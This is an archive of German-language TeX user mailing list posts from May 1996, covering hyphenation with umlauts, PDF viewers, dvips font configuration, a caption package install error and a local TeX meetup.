http://www.uni-koeln.de/themen/linux und http://www.uni-koeln.de/themen/texmf/lokal/termine.html#tetex Mit freundlichen Gr"u"sen, Markus Dickebohm und Uwe M"unch From owner-tex-d-l@VM.GMD.DE Thu May 16 21:42:41 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gundolf Frank Date: Thu, 16 May 1996 21:25:00 +0200 Subject: Q: xtexsh aus TeTeX Hallo, mein XTeXshell aus dem TeTeX-Paket meldet mir, wenn ich versuche, eine Datei zu =F6ffnen: Option -geometry not kown. Habt Ihr irgendwelche Ideen, wie ich den Fehler beheben kann? Die Distribution ist RedHat 3.03. Gru=DF und Danke Gundolf ## CrossPoint v3.11 ## From owner-tex-d-l@VM.GMD.DE Mon May 20 14:19:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: dantefaq@DANTE.DE Date: Mon, 20 May 1996 14:18:51 +0200 Subject: TeX, LaTeX, DANTE e.V.: FAQ - Fragen und Antworten -- Hinweis [Da seit dem letzten Posten der DANTE-FAQ nach TeX-D-L Ende letzten Jahres einige Zeit vergangen ist, m"ochte ich hiermit nochmals auf die Existenz dieser FAQ hinweisen. Sie ist mit mittlerweile ca. 170KB zu gro"s, um sie nochmals komplett zu posten. -bernd] === DE-TeX-/DANTE-FAQ - Remainder/Erinnerung === Allgemeines: ~~~~~~~~~~~~ Die deutschsprachige FAQ (`frequently asked questions' = Liste mit den h"aufig gestellten Fragen und Antworten) zum Textsatzsystem TeX und DANTE, Deutschsprachige Anwendervereinigung TeX e.V. wird regelm"a"sig alle zwei Wochen montags in die Newsgroups `de.comp.tex', `de.answers' und `news.answers' gepostet. In diesen Newsgroups sind die Artikel normalerweise ca. 2-3 Wochen abrufbar, bevor sie durch den News-Server gel"oscht werden. Die FAQ besteht momentan aus acht Teilen und ist ca. 170-180KB gro"s (Stand Mai 1996). Zugriff "uber WWW: ~~~~~~~~~~~~~~~~~ Eine Kopie kann man im World-Wide-Web (WWW) "uber den URL http://www.dante.de/dante/dante-faq.html finden. Zugriff "uber ftp: ~~~~~~~~~~~~~~~~~ Alle FAQs, die man nach Registrierung in die Newsgroups `*.answers' postet, werden auf dem ftp-Server `rtfm.mit.edu' archiviert. Die DE-TeX-/DANTE-FAQ findet man im Verzeichnis ftp://rtfm.mit.edu/pub/usenet/de.comp.tex/ dieses weltweiten FAQ-Archivs. In Deutschland, In "Osterreich und in der Schweiz gibt es von diesem ftp-Server `Spiegel', die mit einigen Tagen Verz"ogerung eine Kopie der DE-TeX-/DANTE-FAQ bereithalten. Die folgende Auswahl von FAQ-Spiegeln bieten die neueste Version der FAQ an: ftp://ftp.dante.de/tex-archive/usergrps/dante/de-tex-faq/ (Heidelberg) und auf allen anderen ftp-Servern und Spiegel des CTAN ftp://ftp.fu-berlin.de/pub/doc/usenet/news.answers/de-tex-faq/ (Berlin) ftp://ftp.leo.org/pub/comp/usenet/de.answers/de-tex-faq/ (M"unchen) ftp://ftp.informatik.rwth-aachen.de/pub/mirror/rtfm.mit.edu/ pub/usenet-by-hierarchy/de/comp/tex/ (Aachen) ftp://ftp.uni-siegen.de/pub/faq/de-tex/faq/ (Siegen) ftp://ftp.uni-giessen.de/pub/doc/faq/de-tex-faq.part1-8 (Gie"sen) ftp://ftp.univie.ac.at/archive/faq/de-tex-faq/ (Wien, A) ftp://ftp.switch.ch/docs/faq/00index.newsgroups (Z"urich, CH) (Achtung: alle(!) FAQs werden unter .../doc/faq/faqs/ abgelegt, die Nummern der FAQ von `de.comp.tex' mu"s man der ca. 64K gro"sen Datei `00index.newsgroups' entnehmen.) Zugriff "uber E-Mail: ~~~~~~~~~~~~~~~~~~~~ "Uber sogenannte `ftp-Mailer' kann man sich auch ohne Internet- Verbindung von einem ftp-Server Verzeichnisse auflisten und Dateien per E-Mail zuschicken lassen. (Beachten Sie dabei bitte die Regelungen Ihres Netzes zur Nutzung solcher Dienste!) Weitere Informationen "uber den ftp-Mailer von DANTE e.V. und die zu benutzenden Anweisungen erhalten Sie mit einer E-Mail an `ftpmail@dante.de' mit dem Inhalt `help'. Zugriff aus FIDO-/Maus-/XYZ-Netz: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [Wer kann hierzu einige Informationen zusammenfassen? Auf welchen `Knoten' kann man als Maus-/FIDO-Benutzer m"oglichst zuverl"assig(!) die neueste Version der FAQ finden?] Ihre FAQ-Maintainer: Bernd Raichle Thomas Hafner email: dantefaq@dante.de --- DE-TeX-/DANTE-FAQ - Remainder/Erinnerung --- From owner-tex-d-l@VM.GMD.DE Mon May 20 15:27:39 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Werner Kirsch Date: Mon, 20 May 1996 15:12:04 +0200 Subject: German Hyphenation Hallo TeX-Anwender, ich verwende das Makro-Paket LaTeX2e, um deutsche Texte zu schreiben. Dabei habe ich das unbestimmte Gef"uhl, da"s W"orter mit Umlauten nur "au"serst "ungern" abgeteilt werden. Ich mu"s oft mit Hilfe von "- nachhelfen. Mein Format-file enth"alt meiner Meinung nach die deutschen Trennmuster. Es wurde mit Hilfe von makefmt 386 latex2e US German 8bit -f latex -b \emtex\bin\latex2e -e erzeugt. Kann mir jemand einen Rat geben? PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe die Umlaute dennoch als "a,"o,"u usw. Liegt's daran? Danke f"ur Hinweise Werner Kirsch ================================================================ Werner Kirsch GRUPPE WASSER (R) Phone: +43 1 505 19 84 Wiedner Hauptstrasse 19 Fax: +43 1 505 19 84 43 A-1040 Vienna, AUSTRIA email: kiw@GruppeWasser.co.at ================================================================ From owner-tex-d-l@VM.GMD.DE Mon May 20 16:01:40 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 20 May 1996 15:44:54 +0200 Subject: Re: German Hyphenation : ich verwende das Makro-Paket LaTeX2e, um deutsche Texte zu schreiben. Dabei : habe ich das unbestimmte Gef"uhl, da"s W"orter mit Umlauten nur "au"serst : "ungern" abgeteilt werden. Ich mu"s oft mit Hilfe von "- nachhelfen. Wenn man Schriften ohne eigene Lettern fuer die Umlaute verwendet, beispielsweise die CM-Schriften, dann kann TeX diese Woerter nach dem Umlaut nicht trennen. `german.sty' kann dies auch nur notduerftig "reparieren", in dem es die Trennung nach einem Umlaut wieder durch einen Kniff erlaubt. Dabei wird jedoch in der Umgebung des Umlauts nicht getrennt! Nur mit Schriften mit eigenen Lettern fuer die Umlaute, beispielsweise die DC-Schriften bzw. alle T1-kodierten Schriften, kann TeX auch Woerter mit Umlaute auch direkt am Umlaut trennen. Man benoetigt dazu nur mit `ghyph31.tex' die entsprechenden deutschen Trennmuster mit den Umlauten. : Mein : Format-file enth"alt meiner Meinung nach die deutschen Trennmuster. Es wurde : mit Hilfe von makefmt 386 latex2e US German 8bit -f latex -b : \emtex\bin\latex2e -e erzeugt. Kann mir jemand einen Rat geben? Ist ok, da du das neue emTeX-Paket benutzt, das soweit alles enthaelt ("alles" = ghyph31.tex, german.sty 2.5c oder zumindest 2.5b, relativ neues LaTeX2e). : PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe die : Umlaute dennoch als "a,"o,"u usw. Liegt's daran? Nein, man muesste schon noch zusaetzlich \usepackage[T1]{fontenc} im Vorspann verwenden, benoetigt dann aber auch die DC-Schriften (bzw. die passenden T1-kodierten Schriften), aber die muessten bei emTeX auch mit dabei sein, oder? Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon May 20 20:29:31 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Werner Cyrmon Date: Mon, 20 May 1996 19:55:41 -0700 Subject: Re: German Hyphenation Hallo Werner > > PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe dieWo gibts das? Erspare ich mir dann das "a .... Ciao CYX From owner-tex-d-l@VM.GMD.DE Tue May 21 10:36:31 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 21 May 1996 09:11:27 +0200 Subject: Re: German Hyphenation Werner Cyrmon schreibt: : > PS: Ich verwende im Vorspann \usepackage[cp850]{inputenc}, schreibe die [...] : Wo gibts das? Erspare ich mir dann das "a .... In jedem (neueren) LaTeX2e ist das Paket `inputenc' enthalten. -bernd From owner-tex-d-l@VM.GMD.DE Tue May 21 10:37:01 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Tue, 21 May 1996 09:12:27 +0200 Subject: Re: German Hyphenation Werner Cyrmon schreibt "uber das inputenc-Paket: > Wo gibts das? Erspare ich mir dann das "a .... Ja. Inputenc ist Bestandteil jedes halbwegs aktuellen LaTeX2e -- es kam, glaube ich, in der Dezember-1994-Version das erste Mal auf. Im Zweifelsfall ist ein allgemeiner Upgrade kein Fehler; einfach nur `inputenc.sty' aus einer neueren LaTeX2e-Version zu mopsen klappt mit grosser Sicherheit *nicht*. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de Emacs can do anything... just ask it. --- Rob Pike From owner-tex-d-l@VM.GMD.DE Tue May 21 12:18:42 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Blum Date: Tue, 21 May 1996 12:04:21 +0200 Subject: PDF-Reader Hi, ich suche eine Software die unter UNIX/Linux oder Windows PDF-Dokumente lesen/anzeigen/in PS wandeln kann. Wo suche ich da am besten? Danke fuer Tips Konrad Blum ----------------------------------------------------------------------------- Sender: Konrad Blum Dept.Phys,Univ.Oldenburg, PO Box 2503, D-26111 Oldenburg/Germany Phone: +49-441-798-3212, -3544, -3402 -- Fax: +49-441-798-3326 From owner-tex-d-l@VM.GMD.DE Tue May 21 12:45:44 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Konrad Bernloehr Date: Tue, 21 May 1996 12:44:41 +0200 Subject: Re: PDF-Reader Hallo, Konrad Blum schrieb: > ich suche eine Software die unter UNIX/Linux oder Windows PDF-Dokumente > lesen/anzeigen/in PS wandeln kann. > > Wo suche ich da am besten? Ich habe dafuer zwei Varianten. Beide setzen Ghostscript in Version 3.51 oder neuer voraus. Die erste Variante wandelt die PDF-Dokumente erst in Postscript um, die man dann mit Ghostview (z.B. Version 1.5) ansehen kann (inclusive Seitenindex). Als Script, das man z.B. fuer Mosaic einsetzen kann (z.B. als /usr/local/bin/viewpdf) , lautet das dann: #!/bin/sh # View PDF after conversion to PostScript. if [ $# -lt 0 -o $# -gt 1 ]; then echo "Usage: `basename $0` input.pdf" 1>&2 exit 1 fi /usr/local/bin/gs3.51 -q -dNODISPLAY -sPSFile=/var/tmp/`basename $1`.ps \ -dNOPAUSE $1 -c quit /usr/local/bin/gv /var/tmp/`basename $1`.ps rm /var/tmp/`basename $1`.ps Bei der zweiten Variante wird GhostView-VMS (Version 2.3) eingesetzt und das Dokument muss nicht umgewandelt werden, dafuer gibt es aber auch keinen Seitenindex. > Danke fuer Tips Gern geschehen. Konrad Bernloehr From owner-tex-d-l@VM.GMD.DE Tue May 21 14:12:23 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Natterer Date: Tue, 21 May 1996 14:12:13 +0200 Subject: hgl to bitmap Hi, ich suche eine software, die unter Windows hpgl files lesen kann, Bearbeitung und anschliessendes Speichern als bitmap erlaubt. Hat jemand 'ne Idee Johannes Natterer From owner-tex-d-l@VM.GMD.DE Tue May 21 12:54:05 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Holger Grothe Date: Tue, 21 May 1996 12:54:09 MESZ Subject: Re: PDF-Reader Hallo Konrad, > > ich suche eine Software die unter UNIX/Linux oder Windows PDF-Dokumente > lesen/anzeigen/in PS wandeln kann. > > Wo suche ich da am besten? > Ich kenne drei Moeglichkeiten: 1. acrobat-Reader (Binaerdistribution, soweit mir bekannt KEIN Linux ftp.adobe.com:/pub/adobe/Acrobat, Mirror z.B. ftp.th-darmstadt.de:/pub/text/pdf/acrobat). 2. xpdf-0.4.tar.gz (X11-Mirror, ...contrib/applications/xpdf-0.4.tar.gz) 3. Neuere Version von ghostscript, z.B. Version 3.53 (s.a. Posting von Konrad Bernloehr). Holger -- Holger Grothe (Email: grothe@mathematik.th-darmstadt.de) Fachbereich Mathematik, TH Darmstadt From owner-tex-d-l@VM.GMD.DE Tue May 21 12:58:18 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Tue, 21 May 1996 12:57:20 METDST Subject: Re: PDF-Reader > ich suche eine Software die unter UNIX/Linux oder Windows PDF-Dokumente > lesen/anzeigen/in PS wandeln kann. > Wo suche ich da am besten? bei Adobe, oder einfach Netscape nehmen... -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ COMPVTOR ERGO SVM :-) From owner-tex-d-l@VM.GMD.DE Tue May 21 16:02:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Pierre THIEFFRY Date: Tue, 21 May 1996 15:58:31 --100 Subject: Re: hgl to bitmap Hallo ! Johannes schreibt : "ich suche eine software, die unter Windows hpgl files lesen kann, Bearbeitung und anschliessendes Speichern als bitmap erlaubt. Hat jemand 'ne Idee " Dazu gibt es mehrere (kommerzielle) Antworten : - Word 6 (klingt komisch, Word auf eine TeX-Liste zu finden...) - Designer 4.0 - Picture Publisher (soviel ich weiss) Sonst gibt's ein package, der erlaubt Uebersetzung von HPGL nach emTeX Kommando Zeilen. Danach kannst du das einfach mit TeX bearbeiten, und schliesslich (zumindest mit emTeX) ein bmp Datei mit dvidot produzieren. Aber es ist nicht speziell fuer Windows... Pierre ------------------------------------------------------------- Pierre THIEFFRY Tel. 73 28 80 00 Poste 85 12 LaRAMA - IFMA Fax 73 28 81 00 Campus des Cezeaux BP 265 63175 Aubiere Cedex E-mail : thieffry@ifma.ifma.fr ------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Tue May 21 18:24:55 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Ernst Molitor Date: Tue, 21 May 1996 16:57:21 GMT Subject: Re: PDF-Reader Hi, >ich suche eine Software die unter UNIX/Linux oder Windows PDF-Dokumente >lesen/anzeigen/in PS wandeln kann. > >Wo suche ich da am besten? meine Empfehlung fuer UNIX/Linux: Ghostscript V. 3.53, am besten zusammen mit Ghostview-VMS 2.3 (herzlichen Dank an L. Peter Deutsch, Aladdin Enterprises, fuer Ghostscript und an Johannes Plass und Tim Theisen fuer Ghostview!). Ghostscript gibt es auf ftp.cs.wisc.edu in ghost/aladdin, Ghostview-2.3 findet sich auf iphthf.physik.uni-mainz.de in pub/vms/linux. Viele Gruesse, Ernst --- ernst.molitor@uni-bonn.de Institut fuer Medizinische Mikrobiologie und Immunologie From owner-tex-d-l@VM.GMD.DE Tue May 21 13:28:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Tue, 21 May 1996 13:28:56 EDT Subject: Re: PDF-Reader > Hi, > ich suche eine Software die unter UNIX/Linux oder Windows PDF-Dokumente > lesen/anzeigen/in PS wandeln kann. > > Wo suche ich da am besten? > > Danke fuer Tips > > Konrad Blum Hallo Konrad, ich verwende unter VMS den PDF-Reader xpdf, der auch die Wandlung PDF nach PS macht. Als Kommandozeilen-Version gibt's dazu noch pdftops. Hier eine www-Seite dazu: http://www.contrib.andrew.cmu.edu/usr/dn0o/xpdf/xpdf.html xpdf gibt es auch (insbesondere) unter UNIX. Darueber hinaus gibt es soviel ich weiss von Adobe frei verfuegbare PDF-Reader ("acrobat"). Ich hoffe geholfen zu haben... ...Rolf .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: ++49-30-3481-316, Fax.: ++49-30-3481-490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From owner-tex-d-l@VM.GMD.DE Wed May 22 05:09:36 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Volker Huettenrauch Date: Tue, 21 May 1996 19:43:00 +0200 Subject: TeX-Stammtisch-Hamburg Moin TeXniker in Hamburg und Umgebung, der naechste TeX-Stammtisch in Hamburg findet am Mittwoch 29.5.96 um 18 Uhr Bei Themi/ Xenios in der Osterstr. 46 statt. Mit dem OePNV kann man es wie folgt erreichen: Schulweg: 113 und 182 Wir hoffen, dass zu diesem Zeitpunkt wieder reichlich TeXniker zum Treffen kommen. MfG Volker From owner-tex-d-l@VM.GMD.DE Thu May 23 11:46:20 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Berend van der Wall Date: Thu, 23 May 1996 11:46:26 +0200 Subject: dvips und PostScript Fonts Hallo! Ich habe derzeit die Schwierigkeit, PostScript fonts in dvips einzubinden. Wie macht man das? Welche Pfade muessen gesetzt werden? Ich arbeite unter SunOS 5.4, OpenWindows 3.4, mit: LaTeX Version 2.09 <25 March 1992> cdslide.sty epsf.tex cd20.sty cdlan.sty frutiger.sty psfonts.sty colordvi.sty und erhalte von dvips die Meldungen: This is dvipsk 5.58f Copyright 1986, 1994 Radical Eye Software ' TeX output 1996.05.23:1138' -> folie1.ps kpathsea: Running MakeTeXPK ftb 864 600 magstep\(2.0\) ljfour kpathsea: Appending font creation commands to missfont.log. dvips: Font ftb not found, characters will be left blank. dvips: Checksum mismatch in font /usr/local/lib/tex/pk/cmr10.864pk kpathsea: Running MakeTeXPK ftl 864 600 magstep\(2.0\) ljfour dvips: Font ftl not found, characters will be left blank. dvips: Checksum mismatch in font /usr/local/lib/tex/pk/cmr10.864pk kpathsea: Running MakeTeXPK ftl 1200 600 2+0/600 ljfour dvips: Font ftl not found, characters will be left blank. dvips: Checksum mismatch in font /usr/local/lib/tex/pk/cmr10.600pk . [1] Die Frutiger Fonts sind die Postscript Fonts, die in einem extra Directory abgelegt sind. Aber wie teilt man dvips mit, dort zu suchen? Mit freundlichen Gruessen, Berend van der Wall. _______________________________________________________________________________ Deutsche Forschungsanstalt fuer Luft- und Raumfahrt e.V. Institut fuer Flugmechanik Berend van der Wall Postfach 32 67 Tel: +49 531 295 2849 38022 Braunschweig Fax: +49 531 295 2641 Deutschland Email: vdwall@fm.bs.dlr.de _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Fri May 24 06:13:07 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Walter Obermiller Date: Fri, 24 May 1996 05:57:16 +0200 Subject: Re: dvips und PostScript Fonts > > Hallo! > > Ich habe derzeit die Schwierigkeit, PostScript fonts in dvips einzubinden. > Wie macht man das? Welche Pfade muessen gesetzt werden? [... deleted ...] > Die Frutiger Fonts sind die Postscript Fonts, die in einem extra > Directory abgelegt sind. Aber wie teilt man dvips mit, dort zu suchen? Schritt 1: Dokumentation von Dvips lesen! Darin sollte man finden: 2. config file aendern: im config file (heisst bei mir config.ps...) * where to look for header files and PS-type 1 fonts.... H .:/home/tex/lib/texmf/dvips:/soft/fonts/pfb ^^^^^^^^^^^^^^^ 3. tex/ps fontnamen und dateinamen in psfonts.map eintragen Die entsprechenden Datei/Fontnamen in der datei psfonts.map eintragen % fontnames extracted from the appropriate .pfb files 5/5/95. rbp01272 Accolade-Light Sender: German TeX Users Communication List From: Michael Hoppe Date: Fri, 24 May 1996 07:09:00 GMT Subject: Re: dvips und PostScript Fonts On <23.05.96> in article <9605230946.AA14330@libelle>, TEX-D- L@VM.GMD.DE (Berend van der Wall (vdwall@FM.BS.DLR.DE)) wrote: BVDWV>Die Frutiger Fonts sind die Postscript Fonts, die in einem extra BVDWV>Directory abgelegt sind. Aber wie teilt man dvips mit, dort zu BVDWV>suchen? Unter dem Eintrag H in config.ps ist der entsprechende Pfad einzutragen, also etwa so: H ; Michael -= Michael Hoppe =------------------------ -= Key fingerprint = 74 FD 0A E3 8B 2A 79 82 25 D0 AD 2B 75 6A AE 63 -= PGP public key available on request. =--------------------------- From owner-tex-d-l@VM.GMD.DE Sun May 26 12:38:59 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Ralf Spenneberg Date: Sun, 26 May 1996 12:36:43 +0200 Subject: Re: hgl to bitmap Hi, Corel Draw besitzt einen fantastischen Filter, der auch die Neuzuordnung der Farben und der Stifte ermêglicht. Ciao Ralf From owner-tex-d-l@VM.GMD.DE Sun May 26 18:34:24 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gerlinde Kettl Date: Sun, 26 May 1996 18:34:48 +0200 Subject: Probleme mit caption Hallo, nachdem ich es schon erfolglos in der de.comp.tex versucht habe... Ich moechte das caption Paket installieren. Ich habe es mir von ftp.dante.de geholt und "make" getippt. Dann kam folgende Fehlermeldung: ! LaTeX Error: *** NFSS release 1 command \newmathalphabet found *** Automatic recovery not possible. *** TYPE H for Help. See the LaTeX manual or LaTeX Companion for explanation. Type H for immediate help. ... l.194 \newmathalphabet *{\sfmath}{\sfdefault}{m}{n}\fi ? Wenn ich mit Return weitermache kommen noch folgende Fehlermeldungen: ! Undefined control sequence. l.98 \CodelineNumbered ? und Runaway argument? ^^M\NeedsTeXFormat{LaTeX2e}[1994/06/01]^^M\ProvidesPackage{caption}[1\ETC. ! File ended while scanning use of \xmacro@code. \par l.12 \DocInput{caption.dtx} ? Was mache ich falsch? Muss ich vorher noch irgendwas installieren? Ich arbeite mit TeX, Version 3.141 (C version d) und LaTeX2e <1995/12/01> patch level 2 auf einer RS/6000 unter AIX3.2.5. Tschau, Gerlinde -- ------------------------------------------------------------------------------ Gerlinde Kettl gerlinde.kettl@mathematik.uni-regensburg.de University of Regensburg gerlinde.kettl@physik.uni-regensburg.de WWW: http://rphibm1.physik.uni-regensburg.de/~keg03729/ IRC: jaelle Mostly harmless. From owner-tex-d-l@VM.GMD.DE Tue May 28 14:29:26 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Mon, 27 May 1996 18:31:40 +0200 Subject: Re: Probleme mit caption -----BEGIN PGP SIGNED MESSAGE----- > nachdem ich es schon erfolglos in der de.comp.tex versucht habe... > > Ich moechte das caption Paket installieren. Ich habe es mir von ftp.dante.de > geholt und "make" getippt. Dann kam folgende Fehlermeldung: > > ! LaTeX Error: *** NFSS release 1 command \newmathalphabet found > *** Automatic recovery not possible. > *** TYPE H for Help. > > See the LaTeX manual or LaTeX Companion for explanation. > Type H for immediate help. > ... > > l.194 \newmathalphabet > *{\sfmath}{\sfdefault}{m}{n}\fi > ? > > Wenn ich mit Return weitermache kommen noch folgende Fehlermeldungen: > > ! Undefined control sequence. > l.98 \CodelineNumbered > > ? > > und > > Runaway argument? > ^^M\NeedsTeXFormat{LaTeX2e}[1994/06/01]^^M\ProvidesPackage{caption}[1\ETC. > ! File ended while scanning use of \xmacro@code. > > \par > l.12 \DocInput{caption.dtx} > > ? > > Was mache ich falsch? Muss ich vorher noch irgendwas installieren? Ich > arbeite mit TeX, Version 3.141 (C version d) und LaTeX2e <1995/12/01> patch > level 2 auf einer RS/6000 unter AIX3.2.5. - -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBManY5UbfUueFIgaNAQG/nQP+JNQKOMuiy2oZSczwNMPaZLudXFhtM2X0 wwBmra+sEAvIvwT6VxRN0Qsg4xCMKchImqX4LoNXQCKbTPEg8LifJKHV/eKEzzPw jGsSbMJP0NNU6rgPkgkLv8Q7ixbTWdmTYNyXNryAKlIfOjBJ5hANjQr9p32VnJ8u j9LOose2vn8= =aBzY -----END PGP SIGNATURE----- From owner-tex-d-l@VM.GMD.DE Tue May 28 20:15:34 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 28 May 1996 09:48:23 +0200 Subject: Re: Probleme mit caption : Ich moechte das caption Paket installieren. Ich habe es mir von ftp.dante.de : geholt und "make" getippt. Dann kam folgende Fehlermeldung: : : ! LaTeX Error: *** NFSS release 1 command \newmathalphabet found : *** Automatic recovery not possible. : *** TYPE H for Help. : : See the LaTeX manual or LaTeX Companion for explanation. : Type H for immediate help. : ... : : l.194 \newmathalphabet : *{\sfmath}{\sfdefault}{m}{n}\fi : ? Wie die Fehlermeldung schon sagt, ist \newmathalphabet eine alte Deklaration aus dem NFSS Version 1 fuer LaTeX 2.09. In den Dateien der aktuellen Version 1.4b vom 5.4.95 von `caption' bzw. Version 2.0beta vom 9.10.95 von `caption2' finde ich keine Anweisung \newmathalphabet, also muss irgendwo anders der Fehler liegen. Ich tippe mal auf -- alte Version des `caption'-Pakets -- alte Version eines anderen Pakets/Style-Option, die geladen werden. Um den Fehler sicher eingrenzen zu koennen, muesste man zumindest das Protokoll __vor__ dem obigen Fehler sehen. [... restliche Fehler geloescht, da ich z.B. bei einem undefinierten \CodelineNumbered auf eine alte `docstrip/doc'-Version tippe, etc. ...] : Was mache ich falsch? Muss ich vorher noch irgendwas installieren? Ich : arbeite mit TeX, Version 3.141 (C version d) und LaTeX2e <1995/12/01> patch : level 2 auf einer RS/6000 unter AIX3.2.5. TeX-Version ist zwar nicht mehr die allerneueste, aber die Unterschiede zwischen 3.141 und 3.14159 sind nicht sooo gross. LaTeX-Version ist die neueste Version, solange auch beachtet wurde, dass einige der anderen Dateien mit upgedated wurden! Naeheres siehe zum Patchlevel 2 gehoerende Datei `patches.txt' in der LaTeX2e- Verteilung. Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Wed May 29 00:29:44 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Tue, 28 May 1996 14:34:47 +0200 Subject: Re: Probleme mit caption Hallo Reinhard, >>>>> "RZ" == Reinhard Zierke writes: RZ> RZ> -----BEGIN PGP SIGNED MESSAGE----- >> nachdem ich es schon erfolglos in der de.comp.tex versucht habe... ich meine diese Message schon einmal gelesen zu haben, sie war aber nicht unter Deiner Namen gepostet worden. Wolltest Du also dann darauf antworten? Ich kann n"amlich nur die urspr"unglich Frage finden, aber keine Antwort. Sinnend Jan -- Jan Braun Beratung Rechenzentrum Tel: +49/531/391-5555 E-Mail: Jan.Braun@tu-bs.de Technische Universit"at Fax: +49/531/391-5549 38092 Braunschweig http://www.tu-bs.de/rz/allgemein/beratung ====== ypchsh /usr/local/bin/emacs :-) (-: ``Go FORTH now and create ...''===== From owner-tex-d-l@VM.GMD.DE Wed May 29 15:32:24 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Wed, 29 May 1996 07:45:33 +0200 Subject: Re: Probleme mit caption > ich meine diese Message schon einmal gelesen zu haben, sie war aber > nicht unter Deiner Namen gepostet worden. > > Wolltest Du also dann darauf antworten? Ich kann n"amlich nur die > urspr"unglich Frage finden, aber keine Antwort. Ja, ich wollte mit persoenlicher Mail antworten, hatte mich aber vertippt und's an die Liste geschickt und konnte mein Sendmail nicht mehr ausbremsen. Manchmal waeren langsame Rechner doch ganz gut ... Damit dieses Posting auch ein wenig relevante Informationen enthaelt: Wie Bernd Raichle schon vermutete, lag der Fehler in einer veralteten docstrip-Version aus dem Jahr 1992, die sich nicht mit dem aktuellen LaTeX vertrug. Fazit: Wer aktuelle Software installiert, sollte vorher auch die Leichen entfernen. Aber dabei den Ueberblick zu behalten, ist leider nicht immer einfach. Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 ===> Neue Telefonnummer ab 28. Juni: Tel.: (040) 5494-2295/2276 Fax: -2241 From owner-tex-d-l@VM.GMD.DE Wed May 29 22:14:58 1996 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Wed, 29 May 1996 10:51:12 0200 Subject: Kyrillischer tt-Font gesucht Liebe TeX-Gemeinde, Kennt jemand einen kyrillischen TypeWriter-Font? Das Paket wncyr/i/b aus den ams-Fonts ist sehr gut, nur enth"alt es eben nur ``roman'', bold, italic, SansSerif. Slanted zu machen war einfach, aber f"ur tt reicht meine Zeit leider nicht. Gibt es eventuell ein anders Paket Kyrillischer Fonts mit tt (oder gar ein PostScript Font)? Vielen Dank und viele Gr"usse Johannes -- Johannes 